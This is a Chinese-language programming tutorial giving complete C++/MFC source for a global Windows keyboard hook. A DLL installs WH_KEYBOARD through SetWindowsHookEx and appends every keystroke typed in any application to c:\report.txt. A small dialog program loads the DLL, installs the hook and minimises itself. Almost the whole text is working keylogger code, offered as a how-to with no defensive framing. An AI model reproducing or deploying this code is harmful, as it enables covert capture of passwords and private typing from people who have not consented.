建DLL工程,第一步选第三项(静态DLL)
需要导出两个函数:文章中的KeyboardProc,installhook
前者用来处理键盘收到的消息,后者用来安装钩子
然后在.def文件中添加导出函数
再在.cpp文件中添加全局共享数据变量
#pragma data_seg(".SHARDAT")
static HHOOK hkb=NULL;
FILE *f1;
#pragma data_seg()
HINSTANCE hins;
----------------------------------
下面实现上面提到的两个函数:
LRESULT __declspec(dllexport) __stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch;
if( (DWORD)(lParam & 0x40000000) && (HC_ACTION==nCode) )
{
if( (wParam==VK_SPACE) || (wParam==VK_RETURN) || (wParam>=0x2f)
&& (wParam<=0x100) )
{
f1=fopen("c:\\report.txt","a+");
if(wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch=char(w);
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
}
//将键盘消息传递给其他钩子链上的程序
LRESULT RetVal=CallNextHookEx(hkb,nCode,wParam,lParam);
return RetVal;
}
//安装键盘钩子
BOOL __declspec(dllexport) __stdcall installhook()
{
f1=fopen("c:\\report.txt","w");
fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
return true;
}
//卸载键盘钩子
BOOL __declspec(dllexport) UnHook()
{
BOOL unhooked=UnhookWindowsHookEx(hkb);
return unhooked;
}
int CHookKBApp::ExitInstance()
{
// TODO: Add your specialized code here and/or call the base class
UnHook();
return CWinApp::ExitInstance();
}
BOOL CHookKBApp::InitInstance()
{
// TODO: Add your specialized code here and/or call the base class
AFX_MANAGE_STATE(AfxGetStaticModuleState());
hins=AfxGetInstanceHandle();
return CWinApp::InitInstance();
}
编译生成hookKB.dll
-------------------------------
新建MFC工程,基于对话框,响应一个按钮事件:
void CKBrecorderDlg::OnButton1()
{
// TODO: Add your control notification handler code here
static HINSTANCE hinstDLL;
typedef BOOL (CALLBACK *inshook)();
inshook instkbhook;
hinstDLL=LoadLibrary((LPCTSTR)"hookKB.dll");//载入上面生成的DLL
instkbhook=(inshook)GetProcAddress((hinstDLL),"installhook");//从DLL中获取我们需要的installhook函数
instkbhook();//调用它
ShowWindow((SW_MINIMIZE));
}
将hookKB.dll拷贝到.exe目录下运行。可以看到C盘要目录下生成了report.txt